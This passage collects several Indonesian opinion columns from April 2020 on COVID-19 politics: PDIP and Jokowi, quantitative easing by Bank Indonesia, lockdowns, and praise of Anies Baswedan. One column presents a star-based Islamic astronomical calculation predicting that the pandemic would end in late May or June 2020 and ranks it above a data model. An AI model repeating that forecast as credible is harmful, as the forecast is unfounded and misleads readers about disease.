juga menyiratkan ada yang panen besar dan ada yang tidak kebagian dari pengadaan alkes. Dengan memunculkan berbagai isu itu ke tengah publik, PDIP ingin memberi isyarat. Mereka tidak ikut bertanggung jawab bila terjadi apa-apa pada pemerintahan Jokowi. Mereka bisa cuci tangan dan melompat keluar dengan selamat melalui pintu darurat bila pemerintahan Jokowi harus crash landing. Terpaksa mendarat darurat dampak dari bencana pandemi. Kapan mereka mau melompat? Kelihatannya tidak akan dilakukan dalam waktu dekat. Berbagai pernyataan itu disampaikan oleh para politisi muda. Second layer, lapis kedua. Bukan para politisi senior. Belum jadi kebijakan resmi partai. Ibarat pemain silat, mereka diperintahkan melancarkan pukulan jurus kembang. Belum menggunakan jurus mematikan. Masih terbuka pintu-pintu negosiasi, tarik menarik, deal-deal politik memanfaatkan momentum pandemi. PDIP tidak mungkin begitu saja melepas aset sangat besar seperti Jokowi. Meminjam judul buku Andrew Ross Sorkin (2009) yang kemudian difilmkan Too Big to Fail, Jokowi terlalu besar dibiarkan gagal. Dampaknya terlalu besar, termasuk bagi partai banteng moncong putih itu. Mereka bisa kut terseret pusaran bencana. End. Penulis Wartawan Senior.

Quantitative Easing (QE) Ala Indonesia Bukti Pembegalan Konstitusi

By Anthony Budiawan Jakarta FNN – Rabu (29/04). Belum lama ini beredar banyak pendapat yang mendesak Indonesia perlu “mencetak uang”. Tujuannya untuk menyelamatkan perekonomian Indonesia akibat pandemi Covid-19. Mekanisme “mencetak uang” ini mereka namakan, atau samakan, dengan Quantitative Easing (QE). Quantitave Easing ini adalah kebijakan moneter yang dimotori bank sentral Amerika Serikat, The Federal Reserve atau the FED. Tujuanya, untuk mengatasi krisis sektor keuangan akibat pecahnya gelembung kredit sektor perumahan pada tahun 2007-2008. Kebijakan moneter QE ini juga diikuti oleh berbagai negara maju lainnya seperti Inggris, Uni Eropa, Jepang dan banyak lainnya. Akibat pandemi Covid-19 yang merebak awal 2020 lalu, membuat beberapa bank sentral di negara-negara maju memutuskan untuk menjalankan kebijakan QE lagi. Dengan harapan, dapat menjaga pertumbuhan ekonomi agar tidak anjlok terlalu dalam. Sehubungan dengan ini, banyak pihak yang mengusulkan agar Indonesia melakukan QE juga. Bahkan ada mantan menteri yang turut mengusulkan. Jumlahnya tidak kecil. “Indonesia harus cetak uang”, katanya, setidak-tidaknya Rp 1.600 triliun sebagai paket stimulus ekonomi. Mekanisme QE usulan mereka (sebut saja QE ala Indonesia) dilakukan dengan cara Bank Indonesia (BI) membeli surat utang negara di pasar primer. Artinya, pemerintah dan BI melakukan transaksi secara langsung. Pemerintah menerbitkan surat utang (baru) senilai Rp 1.600 triliun untuk kemudian dibeli secara langsung oleh Bank Indonesia. QE model Indonesia ini benar-benar sangat ngawur. Ternyata mereka tidak paham apa yang dimaksud dengan QE tersebut? QE adalah kebijakan moneter “luar biasa” yang harus diambil ketika kebijakan moneter biasa sudah tidak efektif lagi. Dalam keadaan krisis, langkah pertama kali yang dilakukan bank sentral pada umumnya menurunkan suku bunga. Ketika ekonomi masih belum menunjukkan tanda-tanda membaik, suku bunga bisa diturunkan terus hingga mendekati 0 persen. Tujuannya, dari penurunan suku bunga ini agar biaya pinjaman menjadi lebih murah. Bisa meringankan beban bunga perusahaan, dan juga diharapkan menggairahkan investasi dan konsumsi. Ini merupakan stimulus ekonomi dari kebijakan moneter. Dalam situasi suku bunga yang sudah mendekati 0 persen, namun ekonomi masih belum juga membaik, maka bank sentral bisa mengambil kebijakan moneter menerapkan QE. Targetnya, agar bisa lebih efektif untuk lebih menggairahkan ekonomi negara. Cara kerja QE sebagai berikut. Bank sentral mengumumkan akan membeli surat utang negara untuk jangka menengah, atau surat utang korporasi di pasar sekunder (open market operations) untuk sejumlah tertentu. Diumumkan secara terbuka kepada publik. Sehubungan dengan krisis pandemi Covid-19, The FED sudah menurunkan suku bunga secara agresif, yaitu 0,5 persen pada 3 Maret 2020 dan 1 persen pada 15 Maret 2020, sehingga suku bunga The FED sudaH mendekati 0 persen. Pada pertengahan Maret 2020, The FED kemudian mengumumkan pembelian surat utang negara senilai U$ 75 miliar dolar per hari untuk jangka waktu yang tidak ditentukan. Jumlah ini kemudian dikurangi menjadi U$ 50 miliar dolar per hari pada akhir Maret lalu. Kebiijakan QE oleh The FED ini tidak ada urusannya dengan pemerintah Amerika Serikat. Apabila ekonomi membaik sesuai target bank sentral, bukan target pemerintah (eksekutif), QE bisa dihentikan kapan saja. Apabila kemudian ada ancaman inflasi, bank sentral bisa menjual kembali surat berharga yang dibeli melalui QE open market operations tersebut. Tujuannya, agar suku bunga kembali naik untuk meredam inflasi. Gambaran di atas merupakan proses umum kebijakan moneter QE diberlakukan. Pertama, tingkat suku bunga sudah mendekati 0 persen. Sedangkan suku bunga Bank Indonesia saat ini masih “sangat tinggi”, yaitu 4,5 persen. Maka, kondisi ekonomi Indonesia saat ini sangat jauh dari syarat diberlakukan QE. Dalam situasi ini, BI masih mempunyai ruang gerak yang sangat luas untuk menurunkan suku bunga. Kenapa BI tidak menurunkan suku bunga? Maknya sangat tidak masuk akal. Ketika suku bunga masih sanmgat tinggi, tapi mau melakukan QE. Kedua, QE adalah kondisi di mana bank sentral membeli surat utang negara (dan korporasi) di pasar sekunder melalui open market operations. Tujuan utama QE adalah untuk menurunkan suku bunga jangka pendek dan jangka menengah. Itu dulu target utamanya. Oleh karena itu, usulan agar BI membeli surat utang negara di pasar primer berlawanan dengan mekanisme QE seperti digambarkan di atas. Berlawanan dengan persyaratan umum QE yang berlaku di seluruh dunia. Pembelian surat utang negara di pasar sekunder melalui open market operations itu menunjukkan bahwa bank sentral independen. Paket stimulus Amerika Serikat yang mencapai U$ 2,3 triliun dolar, tidak ada hubungannya sama sekali dengan bank sentral, The FED. Paket stimulus ini diajukan pemerintah kepada DPR AS untuk dimintakan persetujuannya. Bagaimana cara mendanai stimulus tersebut bukan urusan The FED. Oleh karena itu, QE ala Indonesia, yang mengusulkan agar BI membeli surat utang negara di pasar primer tidak mempunyai basis sama sekali. Itu usulan yang ngawur dan ngaco. Itu mau menjerumusin negara, termasuk pembegalan terhadap konstitusi. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Ahli Ilmu Falak: Wabah Corona Berakhir 18-31 Mei 2020

Oleh Mochamad Toha Jakarta, FNN - Tulisan berikut ini beredar dan di-share di wall Facebook Mas Hendrajit, Direktur Eksekutif Global Future Institute. Judul tulisan: “Berakhirnya Wabah Menurut Ilmu Falakiyah”. Falak (Arab) secara bahasa (etimologi) berarti orbit atau lintasan benda-benda langit. Ilmu Falak yaitu ilmu yang mempelajari lintasan benda-benda langit-khususnya bumi, bulan, dan matahari-pada orbitnya masing-masing dengan tujuan untuk diketahui posisi benda langit antara satu dengan lainnya, agar dapat diketahui waktu-waktu di permukaan bumi. A. Ilmu Falak disebut juga ilmu hisab, karena ilmu ini menggunakan perhitungan. B. Ilmu Falak disebut juga ilmu rashd, karena ilmu ini memerlukan pengamatan. C. Ilmu Falak disebut juga ilmu miqat, karena ilmu ini mempelajari tentang batas-batas waktu. D. Ilmu Falak disebut juga ilmu haiah, karena ilmu ini mempelajari keadaan benda-benda langit. Itulah sekilas pandang tentang ilmu Falak. Santri mempeng alias rajin dan berotak di atas rata-rata saja butuh 6-8 tahun untuk memahami ilmu ini (sebatas faham, belum ke level memahami). Dan, satu lagi biasanya dari 300 Santri yang mengikuti pelajaran Ilmu ini, biasanya tidak lebih dari 20 yang sanggup bertahan hingga akhir alias khatam. (Begitu kata Mbah Mas'ud Himmasal Bekasi). Hilangnya wabah menurut perhitungan ilmu Falak yang ditulis ahlinya hali dalam ilmu per-Falakan, “Wabah (Tha’un), Penyakit/Virus ('Ahah) dan Bintang Tsurayya”. Baginda Rosulillah Muhammad SAW bersabda (yang artinya): “Jika Bintang (Najm) naik, maka diangkatlah penyakit/virus dari penduduk seluruh negeri” (HR. at-Thabrani). “Jika Bintang (Najm) terbit pada pagi hari, maka diangkatlah penyakit/virus dari penduduk seluruh negeri” (HR. Abu Daud). “Tidaklah terbit Bintang (Najm), sementara di bumi tengah dilanda penyakit/ virus, melainkan (penyakit/ virus) itu diangkat” (HR. Ahmad). Al-Hafidz Ibnu Hajar al-‘Asqalani dalam kitab “Badzl al-Ma’un” nya menyatakan (Hal. 369): “Wabah (Tho'un) pada masa lalu, terjadi pada Musim Semi, setelah berakhirnya Musim Dingin. Wabah berakhir di permulaan Musim Panas”. Perhitungannya seperti ini : 1. Penyakit/Virus hilang saat Bintang (Najm) terbit di waktu pagi. 2. Waktu pagi yang dimaksud adalah waktu Fajar. 3. Najm yang dimaksud adalah Bintang Tsurayya. 4. Pada periode 12 Mei – 6 Juni, Matahari berada di Buruj Tsaur (zodiak Taurus) dan Buruj Jawza’ (zodiak Gemini), di Manzilah (posisi) Bintang Tsurayya. Namun, yang muncul pada pagi harinya adalah bintang Syarthin (Alnath) pada 12 Mei dan Bathin (Allothaim) pada 25 Mei 2020. 5. Tanggal 7 Juni, Matahari berada di Buruj Jawza’ (Gemini), di Manzilah (posisi) Bintang Huq’ah (Alchatay). Pada waktu Fajar, bintang yang terbit (Thali'/Ascendant) adalah Bintang Tsurayya (Alchaomazon) 6. Kemunculan Tsurayya pada waktu Fajar ini sekaligus menandakan masuknya Musim Panas dan berakhirnya Musim Semi. 7. Waktu Fajar untuk DKI Jakarta pada 7 Juni 2020 masuk pada pukul 04.44 Wib. Sedangkan Tsurayya mulai terbit di Ufuq Timur (Thali'/Ascendant) pada pukul 04.52 Wib. Jadi kapan berakhirnya Wabah Virus Covid-19 ini? Tanggal 7 Juni 2020. Yakni pada saat Tsurayya terbit atau muncul pada pagi hari, pada waktu Fajar, yang sekaligus menandai masuknya Musim Panas. Untuk Indonesia, khususnya yang berada di Sumatera, Jawa, Kalimantan, Sulawesi, Maluku dan Papua, adalah masuknya Musim Kemarau. Namun kemungkinan pada 7 Juni 2020, Tsurayya belum bisa terlihat muncul pada pagi hari, karena Tsurayya baru saja terpisah dari Matahari. Sehingga masih ada dampak sinar matahari terhadapnya. Waktu yang paling cepat munculnya Tsurayya adalah setelah melewati setengah perjalanannya, yakni 6 hari. Yang itu berarti tanggal 13 Juni 2020. Tanggal inilah (13 Juni 2020) waktu yang kemungkinan Tsurayya terlihat muncul pada pagi hari atau waktu fajar. Sekaligus tanggal inilah (13 Juni 2020), virus yang mewabah ini baru (mulai) terangkat dan hilang. Karena uraian tersebut Teks Falakiyah, maka dari Satgas NU Peduli Covid-19 Kabupaten Demak yang juga melibatkan Lembaga Falakiyah ikhtiar dan berupaya memberikan respon berbasis Ilmu Falak yang disampaikan oleh Sekretaris LF NU Kabupaten Demak, Kiai Ach Musyafa'. Kiai Musyafa’ menyikapi postingan yang mengkorelasikan antara wabah tho'un dan ilmu falak. Di sini LF NU fokus menyikapi tentang bintang tsuroya yang memang telah di artikan dalam hadist tersebut. Bahwa ilmu perbintangan itu ada 2, yakni: Ilmu Hisab dan Ilmu Nujum. Ilmu hisab adalah Perhitungan benda langit dengan hitungan pasti. Sedangkan Ilmu nujum adalah Perhitungan kejadian alam yang dikaitkan dengan benda-benda langit. Dalam hal ini kita akan berbicara tentang bintang Tsuroya yang akan muncul pada buruj tsaur pada derajat 30 sampai buruj jauzak pada derajat 11. Buruj tsaur kalau dalam ilmu perbintangan adalah taurus. Dan buruj jauzak adalah gemini. “Lebih tepatnya menurut perhitungan kami awal munculnya bintang tsuroya yaitu ketika deklinasi matahari 57° tepatnya pada tanggal 18 Mei. Dan, berakhirnya bintang tsuroya yaitu di deklinasi matahari 68° tepatnya tanggal 31 Mei,” tulisnya. Dan, belum masuk pada bulan Juni 2020. Kalau kita kaitkan dengan hadist: “Artinya ketika bintang yang di situ diartikan tsuroya muncul. Maka, akan hilanglah wabah dari semua muka bumi”. Kesimpulannya, “Menurut perhitungan kami bahwa wabah akan berangsur hilang mulai pada tanggal 18 Mei sampai 31 Mei 2020. Ini hanya sebuah perhitungan yg memang sesuai dengan nama ilmu hisab. Masalah kebenarannya semua ada pada kekuasaan Alloh,” tegasnya. Perhitungan berdasarkan Ilmu Falak yang dilakukan Kiai Ach Musyafa' itu nyaris sama dengan prediksi yang disampaikan Singapore University of Technology and Design (SUTD) yang mengungkap akhir dari wabah corona di sejumlah negara. Seperti dilansir Detik.com, Minggu (26 Apr 2020 13:55 WIB), Indonesia sendiri diprediksi berakhir pada 6 Juni mendatang. Data tersebut menggunakan artificial intelligence (AI) yang berbasis pada model matematika tipe susceptible-infected-recovered (SIR). Model SIR ini diregresikan dengan data dari berbagai negara untuk memperkirakan kurva siklus hidup pandemi dan memperkirakan kapan pandemi tersebut akan berakhir di masing-masing negara dan dunia, dengan menghimpun data terbaru dari Our World in Data. Menurut data yang dimuat pada Sabtu (25/4/2020) tersebut, jika dibandingkan dengan negara tetangga, Malaysia akan lebih dulu mengakhiri wabah Corona yaitu pada 6 Mei. Menyusul Singapura yang diprediksi berakhir pada 4 Juni 2020. Sementara itu pandemi Corona di dunia diprediksi akan berakhir 100 persen di akhir tahun. Tepatnya pada 8 Desember 2020. Meski begitu, data yang diungkap dalam laman web SUTD Data “When Will Covid-19 End” ini ditujukan untuk mendukung penelitian. Disebutkan bahwa sangat mungkin jika terdapat kesalahan. Dengan demikian, bisa saja yang benar itu justru dengan pendekatan Ilmu Falakiyah! ***

Pak Joko, Lockdown Itu Memang Tidak Langsung Melenyapkan Corona, Tetapi...

By Asyari Usman Jakarta, FNN - "Coba tunjukkan negara mana yang berhasil melakukan lockdown dan bisa menghentikan masalah? Nggak ada menurut saya," kata Jokowi dalam wawancara dengan Mata Najwa edisi 22 April 2020. Begini Pak. Lockdown (sebutlah itu ‘karantina wilayah’) memang pasti tidak akan serta-merta melenyapkan virus Covid-19 begitu masa lockdown selesai. Tak mungkinlah. Sudah benar yang panjenengan katakan itu. Tidak mungkin langsung hilang. Tetapi, melalui tindakan lockdown itu ruang gerak penyebaran virus menjadi sempit. Itu tujuannya, Pak. Besok langsung lenyap, sangat tak mungkin Tuan. Nah, begitu ruang gerak virus semakin sempit karena lockdown, maka penyebaran yang merajalela bisa ditahan lajunya. Menahan kecepatannya, Pak. Misalnya begini, Pak. Ada satu keluarga 6 orang. Salah seorang di antara mereka membawa virus Corona. Kalau mereka dikunci di rumah mereka, maka secara teoritis paling banyak 5 orang berikutnya yang tertular. Yaitu, anggota keluarga itu saja. Bagaimana kira-kira kalau keenam orang itu bebas berada di luar? Bebas ke café. Bebas ke restoran. Bebas berjumpa dengan teman dan kerabat, dll. Karena tidak ada lockdown. Kira-kira kemungkinan penularan massalnya besar atau tidak? Pasti besar kemungkinannya. Iya ‘kan, Pak? Kalau setiap orang dari 6 orang itu kita sepakati berpeluang besar menulari dua orang (inilah angka rata-rata yang disebutkan oleh para ahli penyakit menular), maka mereka akan menulari 12 orang lainya jika mereka bebas berkeliaran. Kemudian, yang 12 orang ‘new comer’ ini juga bebas berkeliaran. Maka, secara aritmatik, kita akan mendapatkan penambahan 24 orang ‘new comer’ berikutnya. Begitulah seterusnya, Pak. Jadi, ketika jumlah tertular (positif) mencapai ribuan atau belasan ribu tanpa lockdown, kira-kira apa yang akan terjadi, Pak? Kalau tak salah, jawabannya adalah pengalaman pahit Amerika Serikat (AS) sekarang ini. Mereka punya lebih satu juta positif Covid-19. Kebetulan pula, Pak Donald Trump sejak awal meremahkan virus ini. Terlambat melakukan tes massal. Terlambat juga melakukan lockdown. Mereka santai saja, ‘business as usual’ (seperti tak ada kejadian). Nah, apakah lockdown terlambat di AS itu akan sia-sia? Tidak berguna? Tidak bisa mengatasi masalah? Kalau Pak Joko ingin melihat hasil yang sim-salabim, dalam arti bulan depan semua klar, memanglah lockdown itu tak berguna. Tak bisa mengatasi masalah. Tak bisa menjawab pertanyaan Bapak di awal tulisan ini. Tapi, kalau Pak Joko setuju bahwa sasaran lockdown itu adalah penyelesaian jangka panjang (bisa jadi 3-4 bulan), insya Allah berguna Pak. Seperti diteorikan oleh para pakar epidemiologi. Bagaimana degan Singapura? Mereka buat lockdown total tapi kasus positifnya bertambah terus? Begitu juga Arab Saudi, kasus positif makin banyak. Apa gunanya lockdown? Kalau di Singapura, ini yang terjadi Pak. Saya kompilasi beberapa berita di media internasional. Pada 7 April 2020, pemerintah memberlakukan pembatasan keras. Mirip lockdown. Seharusnya lockdown ini berakhir pada 4 Mei nanti. Tapi diperpanjang sampai 1 Juni. Penularan di kalangan warga negara bisa dikendalikan sejak lockdown. Tapi, belakangan ini jumlah positif itu melonjak drastis. Bukan di kalangan warga negara Singapura. Melainkan di kalangan para pekerja dari luar termasuk Bangladesh, India, Myanmar, dll. Ada 200,000 pekerja migran di situ. Mereka tinggal di asrama-asrama yang padat penghuni dengan fasilitas kamar mandi/toilet dan dapur bersama (sharing). Penularan berlangsung cepat. Menurut catatan penguasa, 60% kasus positif di Singapura terjadi di kalangan warga asing yang bermukim di negara kota tsb. Hingga hari ini, jumlah yang tertular mencapai 14,423. Lockdown untuk warga negara yang memiliki hunian sendiri, cukup manjur menangkal penyebaran virus Corona. Di Indonesia, lockdown dalam bentuk PSBB pun cukup menolong. Gugus Tugas Covid-19 mengatakan, grafik kasus baru di DKI Jakarta mulai mendatar. Artinya, PSBB yang ‘banyak bolong-bolong’ itu pun masih saja efektif. Apalagi kalau lockdown versi asli. Pastilah lebih mujarab. Cuma, biayanya memang besar. Begitu dulu, Pak Jokowi. Semoga jelas soal manfaat lockdown. Selamat berbuka puasa.[] Penulis Wartawan Senior.

Akhirnya, Semua Terima dan Puji Anies Bawesdan

By Tony Rosyid Jakarta FNN – Selasa (28/04). Bagi sebagian orang, Anies dianggap musuh. Pertama, mereka yang merasa kalah di pilgub DKI. Sebagian sportif, dan mengaku kalah. Lalu melupakannya. Sebagian kecil lainnya belum bisa "move on". Kedua, mereka yang terganggu kepentingan politik dan projectnya. Siapapun yang merasa terganggu, akan melawan. Anda kalau kepentingannya terganggu, pasti juga akan melawan. Baru berhenti melawan kalau sudah terakomodir kepentingannya. Atau sudah merasa kalah. Atau mulai sadar dan waras. Ketiga, buzzer yang melihat peluang. Ada kesempatan kerja. Cukup poduksi bullyan dan ajak 30-50 orang untuk demo di balaikota. Ini cara efektif mendatangkan uang recehan. Memang gak akan kaya, tapi cukup untuk ganjal perut dalam posisi nganggur. Tiga kelompok ini akan selalu hadir di sepanjang sejarah jika ketemu seorang pemimpin macam Anies. Pemimpin non kompromis terhadap oligarki. Penghentian reklamasi, penutupan Alexis, pencabutan kelola apartemen oleh pengembang, adalah beberapa contoh kebijakan non kompromi itu. Orang bilang “Anies terlalu nekat. Berani ambil risiko”. Anies hanya salah satu contoh nyata yang bisa kita saksikan hari ini tentang tipologi pemimpin yang non kompromis. Sejarah model ini telah ada dan berulang di masa lalu. Dan akan terus berulang di masa yang akan datang. Secara ilmiah, inilah hukum sejarah Orang yang paham sejarah mengerti betul soal ini. Gak perlu kaget jika orang seperti Anies banyak musuh. Tapi, angin politik nampaknya sudah mulai berubah. Satu persatu mulai memberi apresiasi terhadap Anies. "Lakon iku menange mburi", kata orang Jawa. Artinya? Cari saja di kamus. Sekalian nyari arti "mudik" dan "pulang kampung" . Kalau sudah ketemu, gak usah diperpanjang diskusinya. Ora mutu! Saat ini, PSI mulai dukung Anies. Gak usah kaget ketika dengat Raja Juli Antoni mengajak semua anggota DPRD untuk kerjasama Anies soal memberi tempat tinggal bagi tunawisma. Covid-19 membuat sejumlah orang gak bisa bayar kontrakan. Karena itu, mesti difasilitasi. Dalam hal ini, PSI apresiasi Anies. Tidak saja PSI, Tito Karnavian, mendagri juga berulangkali memuji kinerja Anies. Tito menganggap langkah Anies terbaik dan sangat cepat dalam menangani covid-19. Tito obyektif! Apa yang diungkap Tito sejalan dengan hasil survei Median, binaan Rico Marbun. Anies berada di posisi teratas sebagai kepala daerah dalam menangani penyebaran covid-19. Mulai dari perencanaan, kecepatan dan ketepatan. Biarlah itu pekerjaan surveyer. Gak terlalu penting untuk dibahas. Yang lebih penting bagaimana sinergi pemerintah pusat dan daerah efektif mencegah penyebaran covid-19. Ini inti dan hal yang paling mendasar. Terkait dengan Anies, muncul pertanyaan, mengapa banyak pihak akhir-akhir ini mulai menerima dan mengapresiasi Anies ya? Pertama, Anies seperti benteng yang kokoh. Dihajar dan diserbu tanpa henti, tetap stabil. Sabar dan terus bekerja. Ini soal karakter dan mental. Gak mudah! Umumnya pemimpin itu reaktif saat dikritik. Dikit-dikit lapor. Lapor kon dikit? Kedua, Anies punya pola merangkul, tidak memukul. Siapapun penghina Anies, dimaafkan. "Dicaci gak tumbang, dipuji gak terbang". Kalimat ini jadi populer. Inilah prinsip yang nampaknya selalu dipegang oleh Anies. Anies sadar, risiko pemimpin harus siap dicaci, bahkan difitnah. "Nabi Yang sempurna saja difitnah, apalagi Anies. Anies itu siapa sih..." katanya. Ini ungkapan kesadaran bahwa seorang pemimpin harus siap dicaci dan difitnah. Ketiga, narasi Anies mudah dipahami dan membuat rakyat merasa nyaman. Santun dan menghargai. Jauh dari caci maki dan bahasa menyalahkan. Ngayomi! Keempat, kebijakan dan kerjanya terukur. Meski ada pihak-pihak yang hampir selalu melihatnya secara apatis. Tapi, pada akhirnya bisa dirasakan hasilnya. Anies konsisten dengan gagasan yang diyakininya. "ide, narasi, baru kerja", katanya. Pola inilah yang membuat segalanya jadi terukur. Soal penanganan covid-19, Anies bilang: "Biarlah saya dibully di medsos, asal tidak disalahkan oleh sejarah. Kita akan lihat buktinya" . Dan apa yang dilakukan Anies terkait dengan covid-19 sepertinya sudah mengungkap buktinya. Angka penyebaran covid-19 di Jakarta berangsur turun. Tgl 16/4, ada tambahan 223 orang positif Covid-19. Sepuluh hari kemudian, yaitu tanggal 26/4 penambahan turun jadi 65. Tentu, saham dan peran semua pihak tidak boleh diabaikan. Kelima, Anies tidak korupsi. Meski berulangkali dituduh korupsi. Tuduhan itu dipastikan bukan dari ICW, BPK, Kepolisian, KPK dan lembaga-lembaga anti korupsi yang lain. Lalu dari mana tuduhan itu? Tak perlu menyebut nama atau kelompok. Yang pasti, tuduhan itu lebih bersifat politis. Ini bisa ditemukan indikator politiknya. Lima fakta di atas sepertinya logis untuk mengurai kesuksesan Anies meraih apresiasi dari berbagai pihak. Termasuk dari mereka yang "semula dianggap berseberangan" secara politik. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Menakar Kebijakan Pelonggaran Moneter (Quantitative Easing) Masa Krisis

By Andi Rahmat Jakarta FNN – Selasa (28/04). Akhir-akhir ini ramai dibicarakan dikalangan pengambil kebijakan perekonomian nasional mengenai suatu kebijakan pelonggaran moneter/Quantitative Easing (QE ) dalam menghadapi pemburukan perekonomian akibat pandemi Covid 19. Kebijakan mencetak uang (QE ) dianggap sebagai alternatif solusi bagi upaya mempertahankan momentum perekonomian Nasional. Cerita sukses kebijakan ini dalam mengatasi krisis keuangan global tahun 2008, serta-merta menjadi semacam “panacea” bagi krisis ekonomi yang terjadi sekarang. Kesuksesan kebijakan ini di tahun 2008 bukan saja karena berhasil menahan keruntuhan sistem keuangan global di masa itu. Tapi juga mengembalikan momentum pertumbuhan ekonomi global kearah yang lebih baik. Dan yang makin membuatnya menjadi model sukses adalah karena juga terbukti tidak berakibat pada inflasi tinggi, terutama di negara-negara yang besar-besaran melakukan kebijakan ini. Seperti Inggris dan Amerika Serikat. Mencetak uang, dimana-mana memang merupakan tugas utama bank sentral. Yang membedakan QE dengan pencetakan uang dalam keadaan normal adalah karena jumlahnya yang sangat besar, di luar “kebiasaan normal”. Mencetak uang dalam keadaan normal biasanya disebut sebagai ekspansi moneter. Kebijakan ini secara siklikal dilakukan bank sentral dalam mengendalikan perkembangan perekonomian. Di luar soal jumlah, pembedanya juga adalah penggunaan instrumen penyalur (transmisi) kebijakan moneter, dimana QE menggunakan instrumen kebijakan yang tidak lazim dalam keadaan normal. Lantas bagaimana melihat kelaikan kebijakan QE di Indonesia? Secara berkala Bank Indonesia mengeluarkan laporan pelaksanaan tugas moneternya. Secara berkala pula, laporan ini disampaikan ke DPR RI, khususnya kepada Alat Kelengkapan DPR RI yang membidangi kebijakan moneter. Yang perlu dicatat, jumlah uang beredar yang dilaporkan oleh BI itu adalah Uang dalam pengertian luas/ Uang Beredar Luas atau M2 dan Uang Beredar Sempit Atau M1. M2 adalah akumulasi uang dalam bentuk kartal (tunai), uang giral dan uang kuasi. Uang Kartal atau Mo hanya dapat dan boleh dicetak oleh Bank Sentral, tetapi uang giral dan uang kuasi dicetak oleh perbankan, dan dibeberapa negara juga dicetak oleh lembaga keuangan non bank (terutama uang kuasi). Itu sebabnya Bank Umum dapat disebut juga sebagai Lembaga Pencetak Uang Giral (LPUG). Sejak tahun 2013 hingga 2019, pertumbuhan uang beredar (M2) di indonesia mengalami peningkatan hampir dua kali lipat. Pada bulan Oktober 2013, Uang Beredar Luas (M2) di Indonesia berjumlah Rp. 3.576,3 rilliun. Pada Bulan Oktober 2019, Jumlahnya sdh mencapai Rp. 6.026,9 trilliun. sepanjang kurun itu terdapat penambahan Uang Beredar Luas (M2) sebesar Rp. 2.450,6 trilliun. Selama kurun itu pula, antara 2103-2019, pertumbuhan PDB rerata di kisaran 5-5,2%. Pertumbuhan inflasi pun demikian. Tercatat, setelah tahun 2013, dimana inflasi (YoY) tumbuh tinggi 8,36%, memasuki tahun 2015 hingga 2019, inflasi masing-masing 3,35% (2015), 3,02% (2016), 3,61% (2017) 3,13% (2018) 2,72% (2019). Dapat dikatakan, sepanjang tahun 2013-2019, pertumbuhan jumlah Uang Beredar Luas menunjukkan korelasi positif dengan tugas pokok BI dalam mengendalikan inflasi tanpa menimbulkan kontraksi berlebihan terhadap pertumbuhan ekonomi. Kesemua itu terjadi dalam situasi yang relatif normal. Tanpa suatu krisis berskala besar baik secara global maupun domestik. Patut pula dicatat, pertambahan jumlah uang beredar sebesar Rp. 2.450,6 trilliun itu merupakan gambaran kumulatif dalam kurun waktu tahun 2013 hingga tahun 2019. Yang sudah tentu didalam perkembangan bulanannya mengalami dinamika naik-turun. Secara teori, suatu kebijakan QE bisa saja dilakukan manakala terjadi deflasi persisten dalam perekonomian. Seperti yang dilakukan oleh Bank Of Japan (BOJ) sepanjang kurun waktu 1990-an hingga 2000-an. BOJ adalah pelopor kebijakan QE di era paska 1970-an. Uniknya, kebijakan yang ditujukan untuk merangsang perekonomian dengan mendorong inflasi ini ternyata tidak terlalu signifikan dalam menciptakan efek inflatoir bagi perekonomian Jepang. Alih-alih perekonomian Jepang terjebak dalam stagflasi (keadaan inflasi yang datar) berkepanjangan. Juga apabila terjadi kontraksi pada ukuran money velocity. Yaitu manakala daya ungkit (multiplier) uang mengalami pelambatan dalam perekonomian. Kecepatan pertukaran uang dalam perekonomian melambat. Yang bisa saja timbul oleh turunnya penawaran atau turunnya permintaan. Apabila dalam kuartal kedua tahun ini yang terjadi adalah penurunan bersamaan penawaran dan permintaan (supply and demand), yang saya duga kemungkinan besar akan terjadi karena efek ekonomi yang ditimbulkan oleh pendemi Covid 19 ini, maka kebijakan Quantitative Easing patut dipertimbangkan secara matang oleh BI. Kita tidak boleh mengulangi kekeliruan Rill Bill Doctrine yang menghalangi Bank Sentral AS untuk melakukan ekspansi moneter besar-besaran di tahun 1929, yang berujung pada krisis berkepanjangan yang kemudian kita kenal sebagai The Great Depression. Pada krisis keuangan global tahun 2008, QE dilakukan untuk mengatasi pembekuan likuiditas (Liquidity Freezing) didalam sistem keuangan. Pada waktu itu, pasar keuangan mengalami kegagalan berantai yang bersumber pada macetnya pasar uang antar bank. Kemacetan ini sendiri merupakan dampak dari keruntuhan instrumen pasar hutang beragunan aset (Collaterized Debt) yang merambat keberbagai instrumen keuangan lainnya. Jadi QE ditahun 2008 pada dasarnya adalah QE yang dilakukan dalam rangka mengatasi kekeringan likuiditas didalam sistem keuangan yang mengancam kestabilan perekonomian secara keseluruhan. Yang perlu dicatat adalah kebijakan QE ini bertujuan untuk menstimulasi perekonomian. Tidak lebih. Titik krusialnya terletak pada pengamatan yang dalam terhadap keadaan kinerja penawaran dan permintaan. Jadi bukan karena suatu pertimbangan di luar tujuannya. Terlebih-lebih oleh pertimbangan politik. Atau dengan kata lain, suatu pengamatan independen oleh BI berdasarkan analisis berbasis pengetahuan yang cermat (knowledge base policy) yang seyogyanya menjadi landasan kebijakan QE. Untuk itu, ada empat parameter yang mesti diperhatikan betul dalam hal ini. Pertama, jaminan korelatif antara pertumbuhan ekonomi yang diharapkan baik dalam masa menahan pemerosotan perekonomian, maupun pada masa recovery perekonomian, dengan besaran kebijakan QE yang dilakukan. Mencetak uang dalam jumlah sangat besar dalam suatu kurun waktu yang terbatas tentu mengandung resiko tidak ringan bagi perekonomian. Apalagi dalam suatu negara dengan ukuran PDB seperti Indonesia. Ekonomi kita memang sudah masuk dalam kategori “Trillion Dollar Economy”. Tapi tetap saja, dengan berbagai alasan yang tidak saya sebutkan dalam tulisan ini, kita tidak dapat membandingkannya begitu saja dengan perekonomian Jepang, Inggris atau bahkan Amerika Serikat. Dalam beberapa tulisan sebelumnya, saya mengutip aksi moneter negara-negara tersebut bukan untuk membandingkannya secara langsung. Tapi lebih pada penekanan mengenai pentingnya peranan yang lebih luas dan bagi BI dalam penanganan krisis ekonomi akibat pandemi Covid 19. Dimana fungsi BI yang dimaksudkan berakar pada pemahaman terhadap karakteristik fundamental perekonomian Indonesia. Kedua, kedalaman pasar keuangan di Indonesia. Di negara- negara seperti Amerika Serikat, Inggris dan sebagian besar Uni Eropa (diluar negara- negara Eropa Tengah) pasar keuangan mereka sudah sangat dalam. Hingga dalam pencatatan moneter mereka, secara faktual berdasarkan aktivitas pasar keuangan, pendefinisian money supplynya hingga M4 dan M5. Menurut hemat saya, pasar keuangan kita belum seperti 